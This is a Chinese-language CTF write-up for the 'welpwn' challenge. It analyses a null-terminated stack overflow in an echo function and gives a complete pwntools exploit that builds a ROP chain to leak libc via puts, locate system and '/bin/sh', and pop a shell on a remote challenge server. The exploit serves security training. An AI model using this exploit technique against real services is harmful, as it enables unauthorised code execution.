【PWN系列】攻防世界pwn进阶区welpwn分析

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

分析

下载文件直接拖入ida分析。开了NX保护,一般就是rop
在这里插入图片描述

函数代码也比较简单。read那里也不存溢出。都是0x400。
紧接着调用了echo函数。

在这里插入图片描述
在echo函数中,将大小为0x400的buf中的值复制给大小为0x10的s2,。很明显会造成溢出。唯一的问题就是,如果Buf中含有\x00。会中断循环。

在这里插入图片描述

函数运行的整体流程就是,用户输入的字符串会存放到buf中,在echo函数中,将buf复制到s2时造成了溢出。通过循环逐字节复制,如果读取到00字节,则会中断循环。

这会影响我们的rop构造,因为我们寻找的gadgat都会存在00字节

利用

这是64位的程序,传参基本都在寄存器里。所以栈结构大致如下。
在这里插入图片描述
因为00截断的原因,所以我们不能直接rop,我们将rop链移到buf中,pop_4_ret的作用就是pop掉buf中的"A"*0x10+"bbbbbbbb"+pop_4_ret。然后再buf中进行rop。

p64(pop_4_ret)中是含有00的,如下图,红框中的就是p64(pop_4_ret)。所以s2实际上是27个字节。

在这里插入图片描述

明白这点后,后面就是普通的泄露函数实际地址,找libc基址,构造rop了。

Exploit

from pwn import *
from LibcSearcher import *

context.log_level="debug"

# p = process("./welpwn")
p = remote("220.249.52.133",55728)
elf = ELF("welpwn")

start = elf.symbols['_start']
write_got = elf.got['write']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004008a3
pop_4_ret = 0x000000000040089c


p.recvuntil("RCTF\n")
payload = ""
payload += "A"*0x10
payload += "bbbbbbbb"
payload += p64(pop_4_ret)
payload += p64(pop_rdi)
payload += p64(write_got)
payload += p64(puts_plt)
payload += p64(start)
p.sendline(payload)

print "----"+p.recv(1024)
print "----"+p.recv(27)
write =  u64(p.recv(6).ljust(8,'\x00'))
log.success("write = "+hex(write))
obj = LibcSearcher("write", write)

write_offset = obj.dump("write")
system_offset = obj.dump("system")        #system offset
sh_offset = obj.dump("str_bin_sh")    #/bin/sh offset

libc_base = write - write_offset
log.success("libc_base = "+hex(libc_base))


# p.recvuntil("RCTF\n")
payload = ""
payload += "A"*0x10
payload += "bbbbbbbb"
payload += p64(pop_4_ret)
payload += p64(pop_rdi)
payload += p64(libc_base + sh_offset)
payload += p64(libc_base + system_offset)
p.sendline(payload)

p.interactive()

欢迎一起学习交流,共同进步,欢迎加入信息安全小白群

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/109008623